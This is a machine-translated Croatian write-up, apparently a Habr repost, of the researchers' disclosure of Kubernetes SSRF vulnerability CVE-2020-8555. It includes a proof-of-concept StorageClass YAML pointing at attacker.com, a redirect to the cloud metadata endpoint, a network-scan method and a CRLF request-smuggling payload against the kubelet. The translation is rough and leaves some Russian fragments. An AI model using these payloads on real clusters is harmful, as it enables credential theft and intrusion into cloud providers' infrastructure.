Kad se ne radi samo o ranjivostima Kubernetesa...

Bilješka. prev.: autori ovog članka detaljno govore o tome kako su uspjeli otkriti ranjivost CVE-2020-8555 u Kubernetesu. Iako se u početku nije činilo vrlo opasnim, u kombinaciji s drugim čimbenicima pokazalo se da je njegova kritičnost maksimalna za neke pružatelje usluga oblaka. Nekoliko je organizacija velikodušno nagradilo stručnjake za njihov rad.

Kad se ne radi samo o ranjivostima Kubernetesa...

Tko smo mi

Mi smo dva francuska istraživača sigurnosti koji su zajedno otkrili ranjivost u Kubernetesu. Naša imena su Brice Augras i Christophe Hauquiert, ali na mnogim Bug Bounty platformama poznati smo kao Reeverzax odnosno Hach:

Što se dogodilo?

Ovaj članak je naš način da podijelimo kako se običan istraživački projekt neočekivano pretvorio u najuzbudljiviju avanturu u životu lovaca na bube (barem za sada).

Kao što vjerojatno znate, lovci na bugove imaju nekoliko značajnih značajki:

  • žive na pizzi i pivu;
  • rade kad svi ostali spavaju.

Nismo iznimka od ovih pravila: obično se sastajemo vikendom i provodimo besane noći hakirajući. No jedna od tih noći završila je na vrlo neobičan način.

U početku smo se namjeravali sastati kako bismo razgovarali o sudjelovanju u CTF sljedeći dan. Tijekom razgovora o Kubernetes sigurnosti u okruženju upravljane usluge, sjetili smo se stare ideje o SSRF-u (Krivotvorenje zahtjeva na strani poslužitelja) i odlučio je pokušati ga koristiti kao skriptu za napad.

U 11 sata sjeli smo istraživati ​​i rano ujutro otišli na spavanje, vrlo zadovoljni rezultatima. Upravo smo zahvaljujući ovom istraživanju naišli na program MSRC Bug Bounty i smislili eksploataciju eskalacije privilegija.

Prošlo je nekoliko tjedana/mjeseci, a naš neočekivani rezultat rezultirao je jednom od najvećih nagrada u povijesti Azure Cloud Bug Bountyja – uz onu koju smo dobili od Kubernetesa!

Na temelju našeg istraživačkog projekta, Odbor za sigurnost proizvoda Kubernetes objavio je CVE-2020-8555.

Sada bih želio širiti informacije o pronađenoj ranjivosti što je više moguće. Nadamo se da ćete cijeniti pronalazak i podijeliti tehničke detalje s ostalim članovima infosec zajednice!

Pa evo naše priče...

Kontekst

Da bismo što bolje shvatili što se dogodilo, prvo pogledajmo kako Kubernetes funkcionira u okruženju kojim upravlja oblak.

Kada instancirate Kubernetes klaster u takvom okruženju, sloj upravljanja obično je odgovornost pružatelja usluga oblaka:

Kad se ne radi samo o ranjivostima Kubernetesa...
Kontrolni sloj nalazi se na perimetru pružatelja usluga oblaka, dok se Kubernetes čvorovi nalaze na perimetru korisnika

Za dinamičku dodjelu volumena koristi se mehanizam za njihovo dinamičko dodjeljivanje iz vanjske pozadine za pohranu i usporedbu s PVC-om (stalni zahtjev za volumenom, tj. zahtjev za volumenom).

Stoga, nakon što je PVC kreiran i vezan za StorageClass u klasteru K8s, daljnje radnje za pružanje volumena preuzima upravitelj kube/cloud kontrolera (njegov točan naziv ovisi o izdanju). (Bilješka. prev.: O CCM-u smo već pisali više na primjeru njegove implementacije za jednog od cloud providera здесь.)

Postoji nekoliko vrsta pružatelja usluga koje podržava Kubernetes: većina njih je uključena u jezgra orkestra, dok drugima upravljaju dodatni pružatelji usluga koji su smješteni u podove u klasteru.

U našem istraživanju usredotočili smo se na interni mehanizam za dodjelu volumena, koji je ilustriran u nastavku:

Kad se ne radi samo o ranjivostima Kubernetesa...
Dinamičko pružanje volumena pomoću ugrađenog Kubernetes pružatelja usluga

Ukratko, kada je Kubernetes implementiran u upravljanom okruženju, upravitelj kontrolera je odgovornost pružatelja usluga oblaka, ali zahtjev za stvaranje volumena (broj 3 u gornjem dijagramu) napušta internu mrežu pružatelja usluga oblaka. I tu stvari postaju stvarno zanimljive!

Scenarij hakiranja

U ovom ćemo odjeljku objasniti kako smo iskoristili gore navedeni tijek rada i pristupili internim resursima pružatelja usluga u oblaku. Također će vam pokazati kako možete izvršiti određene radnje, poput dobivanja internih vjerodajnica ili eskalacije privilegija.

Jedna jednostavna manipulacija (u ovom slučaju krivotvorenje zahtjeva na strani usluge) pomogla je da se izađe izvan okruženja klijenta u klastere različitih pružatelja usluga pod upravljanim K8.

U našem smo se istraživanju usredotočili na pružatelja usluga GlusterFS. Unatoč činjenici da je daljnji slijed radnji opisan u ovom kontekstu, Quobyte, StorageOS i ScaleIO podložni su istoj ranjivosti.

Kad se ne radi samo o ranjivostima Kubernetesa...
Zlouporaba mehanizma za dinamičko dodjeljivanje volumena

Tijekom analize klase skladištenja GlusterFS u izvornom kodu klijenta Golang mi zamijetilina prvi HTTP zahtjev (3) poslan tijekom stvaranja volumena, na kraj prilagođenog URL-a u parametru resturl dodao je /volumes.

Odlučili smo se riješiti ove dodatne staze dodavanjem # u parametru resturl. Ovo je prva YAML konfiguracija koju smo koristili za testiranje poluslijepe SSRF ranjivosti (možete pročitati više o poluslijepom ili poluslijepom SSRF-u, na primjer, здесь - cca. prev.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Zatim smo upotrijebili binarnu datoteku za daljinsko upravljanje Kubernetes klasterom kubectl. Obično pružatelji usluga u oblaku (Azure, Google, AWS itd.) omogućuju dobivanje vjerodajnica za korištenje u ovom uslužnom programu.

Zahvaljujući tome, mogao sam koristiti svoju "posebnu" datoteku. Kube-controller-manager izvršio je rezultirajući HTTP zahtjev:

kubectl create -f sc-poc.yaml

Kad se ne radi samo o ranjivostima Kubernetesa...
Odgovor sa stajališta napadača

Ubrzo nakon toga, također smo bili u mogućnosti primiti HTTP odgovor od ciljnog poslužitelja - putem naredbi describe pvc ili get events u kubectl. I doista: ovaj zadani Kubernetes upravljački program previše je opširan u svojim upozorenjima/porukama o pogreškama...

Evo primjera s vezom na https://www.google.frpostaviti kao parametar resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Kad se ne radi samo o ranjivostima Kubernetesa...

U ovom pristupu bili smo ograničeni na upite poput HTTP POST i nije mogao dobiti sadržaj tijela odgovora ako je povratni kod bio 201. Stoga smo odlučili provesti dodatna istraživanja i proširili ovaj scenarij hakiranja novim pristupima.

Evolucija našeg istraživanja

  • Napredni scenarij #1: Korištenje 302 preusmjeravanja s vanjskog poslužitelja za promjenu HTTP metode za pružanje fleksibilnijeg načina prikupljanja internih podataka.
  • Napredni scenarij #2: Automatizirajte LAN skeniranje i otkrivanje internih resursa.
  • Napredni scenarij #3: korištenje HTTP CRLF + krijumčarenje ("krijumčarenje zahtjeva") za stvaranje prilagođenih HTTP zahtjeva i dohvaćanje podataka ekstrahiranih iz zapisa kube-controllera.

Tehničke specifikacije

  • Istraživanje je koristilo Azure Kubernetes Service (AKS) s Kubernetes verzijom 1.12 u regiji Sjeverne Europe.
  • Gore opisani scenariji izvršeni su na najnovijim izdanjima Kubernetesa, s izuzetkom trećeg scenarija, jer trebao mu je Kubernetes izgrađen s Golang verzijom ≤ 1.12.
  • Vanjski poslužitelj napadača - https://attacker.com.

Napredni scenarij #1: Preusmjeravanje HTTP POST zahtjeva na GET i primanje osjetljivih podataka

Izvorna metoda je poboljšana konfiguracijom napadačevog poslužitelja za povratak 302 HTTP Retcodeza pretvaranje POST zahtjeva u GET zahtjev (korak 4 u dijagramu):

Kad se ne radi samo o ranjivostima Kubernetesa...

Prvi zahtjev (3) koji dolazi od klijenta GlusterFS (Controller Manager), ima tip POST. Prateći ove korake uspjeli smo ga pretvoriti u GET:

  • Kao parametar resturl u StorageClass je naznačeno http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php odgovara HTTP statusnim kodom 302 sa sljedećim zaglavljem lokacije: http://169.254.169.254. To može biti bilo koji drugi interni resurs - u ovom slučaju veza za preusmjeravanje koristi se samo kao primjer.
  • Po defaultu net/http biblioteka Golang preusmjerava zahtjev i pretvara POST u GET sa statusnim kodom 302, što rezultira HTTP GET zahtjevom ciljnom resursu.

Za čitanje tijela HTTP odgovora morate učiniti describe PVC objekt:

kubectl describe pvc xxx

Evo primjera HTTP odgovora u JSON formatu koji smo uspjeli primiti:

Kad se ne radi samo o ranjivostima Kubernetesa...

Mogućnosti pronađene ranjivosti u to su vrijeme bile ograničene zbog sljedećih točaka:

  • Nemogućnost umetanja HTTP zaglavlja u odlazni zahtjev.
  • Nemogućnost izvođenja POST zahtjeva s parametrima u tijelu (ovo je zgodno za traženje vrijednosti ključa od etcd instance koja se izvodi na 2379 port ako se koristi nešifrirani HTTP).
  • Nemogućnost dohvaćanja sadržaja tijela odgovora kada je statusni kod bio 200, a odgovor nije imao JSON Content-Type.

Napredni scenarij #2: Skeniranje lokalne mreže

Ova poluslijepa SSRF metoda zatim je korištena za skeniranje interne mreže pružatelja usluga oblaka i anketiranje različitih usluga slušanja (instanca metapodataka, Kubelet, itd., itd.) na temelju odgovora kube kontroler.

Kad se ne radi samo o ranjivostima Kubernetesa...

Prvo su određeni standardni priključci za slušanje Kubernetes komponenti (8443, 10250, 10251 itd.), a zatim smo morali automatizirati proces skeniranja.

Budući da je ova metoda skeniranja resursa vrlo specifična i nije kompatibilna s klasičnim skenerima i SSRF alatima, odlučili smo kreirati vlastite radnike u bash skripti koji automatiziraju cijeli proces.

Na primjer, kako bi se brzo skenirao raspon 172.16.0.0/12 interne mreže, paralelno je pokrenuto 15 radnika. Gornji raspon IP adresa odabran je samo kao primjer i može biti podložan promjenama u rasponu IP adresa vašeg pružatelja usluga.

Za skeniranje jedne IP adrese i jednog porta morate učiniti sljedeće:

  • brisanje zadnje provjerene StorageClass;
  • uklonite prethodnu potvrđenu tvrdnju o postojanom volumenu;
  • promijenite vrijednosti IP-a i priključka sc.yaml;
  • stvoriti StorageClass s novim IP-om i portom;
  • stvoriti novi PVC;
  • izvucite rezultate skeniranja pomoću opisa za PVC.

Napredni scenarij #3: CRLF injekcija + krijumčarenje HTTP-a u "starim" verzijama Kubernetes klastera

Ako je uz to pružatelj ponudio klijentima stare verzije K8s klastera и dali im pristup dnevnicima kube-controller-managera, učinak je postao još značajniji.

Napadaču je doista mnogo prikladnije promijeniti HTTP zahtjeve dizajnirane za dobivanje punog HTTP odgovora po vlastitom nahođenju.

Kad se ne radi samo o ranjivostima Kubernetesa...

Za provedbu zadnjeg scenarija morali su biti ispunjeni sljedeći uvjeti:

  • Korisnik mora imati pristup zapisnicima kube-controller-manager (kao, na primjer, u Azure LogInsights).
  • Kubernetes klaster mora koristiti verziju Golanga nižu od 1.12.

Uveli smo lokalno okruženje koje je simuliralo komunikaciju između klijenta GlusterFS Go i lažnog ciljnog poslužitelja (za sada ćemo se suzdržati od objavljivanja PoC-a).

Nađen ranjivost, utječući na verzije Golanga niže od 1.12 i dopuštajući hakerima izvođenje HTTP krijumčarenja/CRLF napada.

Kombinacijom gore opisanog poluslijepog SSRF-a вместе uz to smo mogli slati zahtjeve po svom ukusu, uključujući zamjenu zaglavlja, HTTP metodu, parametre i podatke, koje je kube-controller-manager zatim obradio.

Ovdje je primjer radnog "mamca" u parametru resturl StorageClass, koji implementira sličan scenarij napada:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Rezultat je pogreška neželjeni odgovor, poruka o čemu se bilježi u zapisnicima kontrolera. Zahvaljujući opširnosti koja je omogućena prema zadanim postavkama, tamo se sprema i sadržaj HTTP odgovora.

Kad se ne radi samo o ranjivostima Kubernetesa...

To je bio naš najučinkovitiji “mamac” u okviru dokaza koncepta.

Koristeći ovaj pristup, uspjeli smo izvesti neke od sljedećih napada na klastere različitih upravljanih k8s pružatelja: eskalacija privilegija s vjerodajnicama na instancama metapodataka, Master DoS putem (nešifriranih) HTTP zahtjeva na etcd master instancama, itd.

Posljedice

U službenoj izjavi Kubernetesa o SSRF ranjivosti koju smo otkrili, ona je ocijenjena CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ako uzmemo u obzir samo ranjivost povezanu s Kubernetes perimetrom, vektor integriteta (vektor integriteta) to se kvalificira kao nijedan.

Međutim, procjena mogućih posljedica u kontekstu okruženja upravljane usluge (a to je bio najzanimljiviji dio našeg istraživanja!) potaknula nas je da ranjivost prekvalifikujemo u ocjenu Kritični CVSS10/10 za mnoge distributere.

U nastavku se nalaze dodatne informacije koje će vam pomoći da razumijete naša razmatranja pri procjeni mogućih utjecaja u okruženjima oblaka:

integritet

  • Izvršite naredbe na daljinu koristeći stečene interne vjerodajnice.
  • Reprodukcija gornjeg scenarija korištenjem metode IDOR (Insecure Direct Object Reference) s drugim resursima pronađenim na lokalnoj mreži.

Povjerljivost

  • Vrsta napada Bočno kretanje zahvaljujući krađi vjerodajnica u oblaku (na primjer, API za metapodatke).
  • Prikupljanje podataka skeniranjem lokalne mreže (utvrđivanje SSH verzije, HTTP server verzije, ...).
  • Prikupite podatke o instanci i infrastrukturi ispitivanjem internih API-ja kao što je API za metapodatke (http://169.254.169.254, ...).
  • Krađa korisničkih podataka pomoću vjerodajnica u oblaku.

dostupnost

Svi scenariji iskorištavanja koji se odnose na vektore napada na integritet, može se koristiti za destruktivne akcije i dovesti do nedostupnosti glavnih instanci s perimetra klijenta (ili bilo kojeg drugog).

Budući da smo bili u upravljanom okruženju K8s i procjenjivali utjecaj na integritet, možemo zamisliti mnoge scenarije koji bi mogli utjecati na dostupnost. Dodatni primjeri uključuju oštećenje etcd baze podataka ili kritični poziv Kubernetes API-ju.

kronologija

  • 6. prosinca 2019.: ranjivost prijavljena MSRC Bug Bounty.
  • 3. siječnja 2020.: treća strana obavijestila je programere Kubernetesa da radimo na sigurnosnom problemu. I zamolio ih da SSRF razmotre kao unutarnju (in-core) ranjivost. Zatim smo dali opće izvješće s tehničkim detaljima o izvoru problema.
  • 15. siječnja 2020.: Dostavili smo tehnička i opća izvješća programerima Kubernetesa na njihov zahtjev (putem platforme HackerOne).
  • 15. siječnja 2020.: programeri Kubernetesa obavijestili su nas da se poluslijepo ubrizgavanje SSRF + CRLF za prošla izdanja smatra ranjivošću u jezgri. Odmah smo prestali analizirati perimetre drugih pružatelja usluga: tim K8s sada se bavio glavnim uzrokom.
  • 15. siječnja 2020.: MSRC nagrada primljena putem HackerOnea.
  • 16. siječnja 2020.: Kubernetes PSC (Odbor za sigurnost proizvoda) prepoznao je ranjivost i zamolio da je drži u tajnosti do sredine ožujka zbog velikog broja potencijalnih žrtava.
  • 11. veljače 2020.: primljena Google VRP nagrada.
  • 4. ožujka 2020.: Kubernetes nagrada primljena putem HackerOnea.
  • 15. ožujka 2020.: Prvotno planirano javno objavljivanje odgođeno je zbog situacije s COVID-19.
  • 1. lipnja 2020.: zajednička izjava Kubernetesa i Microsofta o ranjivosti.

TL; DR

  • Pijemo pivo i jedemo pizzu :)
  • Otkrili smo in-core ranjivost u Kubernetesu, iako nismo imali namjeru to učiniti.
  • Proveli smo dodatnu analizu klastera različitih pružatelja usluga oblaka i uspjeli smo povećati štetu uzrokovanu ranjivošću kako bismo dobili dodatne sjajne bonuse.
  • U ovom ćete članku pronaći mnogo tehničkih detalja. Rado ćemo o njima razgovarati s vama (Twitter: @ReeverZax & @__hach_).
  • Ispostavilo se da su sve vrste formalnosti i prijava trajale puno duže od očekivanog.

reference

PS od prevoditelja

Pročitajte i na našem blogu:

Izvor: www.habr.com

Dodajte komentar